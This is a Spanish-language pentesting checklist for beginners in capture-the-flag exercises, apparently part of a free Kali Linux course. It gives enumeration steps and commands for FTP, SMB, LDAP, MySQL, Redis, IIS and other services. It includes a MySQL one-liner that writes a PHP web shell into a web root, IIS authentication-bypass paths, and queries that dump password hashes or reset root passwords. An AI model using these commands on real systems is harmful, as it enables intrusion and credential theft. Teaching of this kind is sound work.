



# Checklist para Pentesting CTF

Una checklist completa para Pentesting CTF.  
Creada por: RINKU | Hacking ético desde 0

Puedes encontrarnos en nuestras redes sociales como  
[@rinkutech\\_](#) o en nuestra página web [www.rinku.tech](http://www.rinku.tech)



## Mapeo de la Red

- ☐ Identificación de Hosts Activos
- ☐ Escaneo de Puertos
- ☐ Escaneo de Servicios
- ☐ Escaneo de Versiones
- ☐ Escaneo con NSE/Scripts
- ☐ Escaneo de SO
- ☐ Escaneo UDP y TCP

## FTP (Puerto 21)

- ☐ Obtención de Banner para Versiones
- ☐ Acceso Anónimo
- ☐ Bounce FTP
- ☐ Contraseñas por defecto

## SSH (Puerto 22)

- ☐ Obtención de Banner para Versiones
- ☐ Contraseña Nula
- ☐ Contraseñas por defecto

## SMTP (Puerto 25)

- ☐ Obtención de Banner para Versiones
- ☐ Conexión con Telnet
- ☐ SMTP Relay
- ☐ Enumeración de Usuarios

## DNS (Puerto 53)

- ☐ Fuerza bruta de Hostnames DNS
- ☐ Búsqueda inversa DNS
- ☐ Enumeración de Registros de Servicio DNS
- ☐ Descubrimiento de Zona DNS

## Jenkins

- ☐ Páginas accesibles sin autenticación como /people, /asynchPeople, /securityRealm/user/admin/search/index?q=
- ☐ Versiones Vulnerables
- ☐ Explotación  
[https://github.com/ggquere/pwn\\_jenkins](https://github.com/ggquere/pwn_jenkins)

## IIS

- ☐ Enumeración de archivos .config en IIS
- ☐ Habilitación de Trace.AXD para debugging
- ☐ Path Traversal
- ☐ Divulgación de Código Fuente
- ☐ Descarga de DLLs
  - ☐ System.Web.Routing.dll
  - ☐ System.Web.Optimization.dll
  - ☐ System.Web.Mvc.dll
  - ☐ System.Web.Mvc.Ajax.dll
  - ☐ System.Web.Mvc.Html.dll
- ☐ Intento de Bypass de Autenticación Básica en IIS 7.5 al intentar acceder a
  - ☐ /admin:\$i30\$INDEX\_ALLOCATION/admin.php
  - ☐ /admin::\$INDEX\_ALLOCATION/admin.php
- ☐ Obtener el Banner de la Versión
- ☐ Realizar un Ataque de Fuerza Bruta en Directorios

## Kerberos (Puerto 88)

- ☐ Ataques al Directorio Activo (No vamos a cubrir esto aquí)
- ☐ Enumeración de Nombres de Usuario mediante fuerza bruta con Nmap
  - ☐ krb5-enum-users.nse

## RPC (Puerto 111)

- ☐ Enumeración de Información Básica utilizando rpcinfo
- ☐ Conexión a RPC con el Cliente RPC

## LDAP (Puerto 389)

### ☐ Listar información pública

☐ `nmap -n -sV --script "ldap* and not brute" IP`

### ☐ Verificar Credenciales Nulas

☐ `ldapsearch -x -h IP -D "" -w "" -b "DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer Usuarios

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=Users,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer Equipos

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=Computers,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer mi información

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=MY NAME,CN=Users,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer Administradores de Dominio

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer Administradores de Empresa

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer Administradores

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Extraer Grupos de Escritorio Remoto

☐ `ldapsearch -x -h IP -D 'DOMAIN\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=1_SUBDOMAIN,DC=TDL"`

### ☐ Interfaz gráfica (jxplorer)

## SMB (Puerto 445)

- ☐ Obtener Credenciales Anónimas
- ☐ Obtener Banner para Versiones
- ☐ Explotación de Sesiones Nulas con RPCClient
  - ☐ Listar usuarios: enumdomusers
  - ☐ Detalles del usuario: queryuser <0xrid>
  - ☐ Grupos del usuario: queryusergroups <0xrid>
  - ☐ Obtener SID de un usuario: lookupnames <username>
  - ☐ Alias de usuarios: queryuseraliases [builtin|domain] <sid>
  - ☐ Listar grupos: enumdomgroups
  - ☐ Detalles de un grupo: querygroup <0xrid>
  - ☐ Miembros de un grupo: querygroupmem <0xrid>
  - ☐ Listar alias: enumalsgroups <builtin|domain>
  - ☐ Miembros de alias: queryaliasmem <builtin|domain> <0xrid>
  - ☐ Listar dominios: enumdomains
  - ☐ Información del dominio: querydominfo
  - ☐ Buscar SIDs por nombre: lookupnames <username>
  - ☐ Buscar más SIDs: Isaenumsid
  - ☐ Ciclo de RID (verificar más SIDs): lookupsids <sid>
- ☐ Listar Comparticiones (Null Session)
  - ☐ smbclient --no-pass -L //IP
- ☐ Listar Comparticiones con Credenciales
  - ☐ smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //IP
- ☐ Montar Compartición sin Credenciales
  - ☐ mount -t cifs //x.x.x.x/share /mnt/share
- ☐ Montar Compartición con Credenciales
  - ☐ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
- ☐ Ataque SMB Relay

# MySQL (Puerto 3306)

## ☐ Enumeración con nmap

☐ `nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-emptypassword,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012 IP`

## ☐ Obtener Banner Básico

## ☐ Enumeración de Comandos Básicos

### ☐ Privilegios

☐ `select grantee, table_schema, privilege_type FROM schema_privileges;`

### ☐ Privilegios de Archivos

☐ `select user,file_priv from mysql.user where user='root';`

### ☐ Usuario Actual

☐ `select user();`

## ☐ Escribir Archivo

☐ `select 1,2,"<?php echo shell_exec($_GET['c']);?>" into OUTFILE 'C:/xampp/htdocs/shell.php';`

## ☐ Leer Archivo

☐ `select load_file('/home/purabparihar/read_file.txt');`

## ☐ Cambiar Contraseña de Usuario

☐ `UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass')`

## ☐ WHERE User='root';

☐ `UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';`

## ☐ Extracción de Credenciales

☐ `mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"`



## PostgreSQL (Puerto 5432)

- ☐ Obtención de Banner
- ☐ Nombre de la Base de Datos
- ☐ Inyección de Flags

## VNC (Puerto 5900)

- ☐ Acceso VNC sin autenticación
- ☐ Ubicación de Contraseña VNC (la contraseña estará encriptada)
  - ☐ ~/.vnc/passwd
- ☐ Descifrado de Contraseña
  - ☐ vncpwd.exe (contraseña encriptada)

## Redis (Puerto 6379)

- ☐ Obtención de Banner
- ☐ Intentar acceder a Redis sin credenciales
- ☐ Enumeración después del inicio de sesión
  - ☐ Extracción de información
  - ☐ Extracción de Clientes Conectados
    - ☐ client list
  - ☐ Extracción de Configuración
    - ☐ CONFIG GET \*
  - ☐ Volcado de la Base de Datos
    - ☐ SELECT [base de datos con claves]
    - ☐ KEYS \*
    - ☐ GET <clave>

## Escalada de privilegios

- ☐ Identificar información del sistema
  - ☐ Versión del kernel
  - ☐ Distribución
  - ☐ Usuario logueado
- ☐ Revisar permisos y accesos de archivos y directorios sensibles.
- ☐ Identificar servicios, versiones y posibles vulnerabilidades conocidas.
- ☐ Revisar configuraciones débiles o malas prácticas en servicios y aplicaciones.
- ☐ Explotar vulnerabilidades descubiertas para obtener acceso de mayor privilegio.
- ☐ Utilizar exploits conocidos o técnicas de escalada de privilegios como SUID, SGID, permisos de archivo, etc.

Espero que este checklist **te ayude a mejorar tus habilidades y conocimientos en tus primeros CTFs.**

Esta guía, forma parte del **curso gratuito de Kali Linux**, al cual puedes acceder haciendo clic aquí abajo.



[Ir al curso](#)

En este curso gratuito, nos enfocamos en enseñarte Kali Linux desde cero.

Es perfecto para aquellos que **nunca han utilizado Linux o Kali Linux y están dando sus primeros pasos en este sistema operativo.**

Si quieres implementar de forma inteligente todo el contenido de ciberseguridad en tu carrera profesional, **síguenos en nuestros canales de formación gratuita.**



Comparte esta checklist en redes sociales y etiquétame [\*\*@rinkutech\\_\*\*](#) para así compartirlo y llegar a más gente a la que poder ayudar.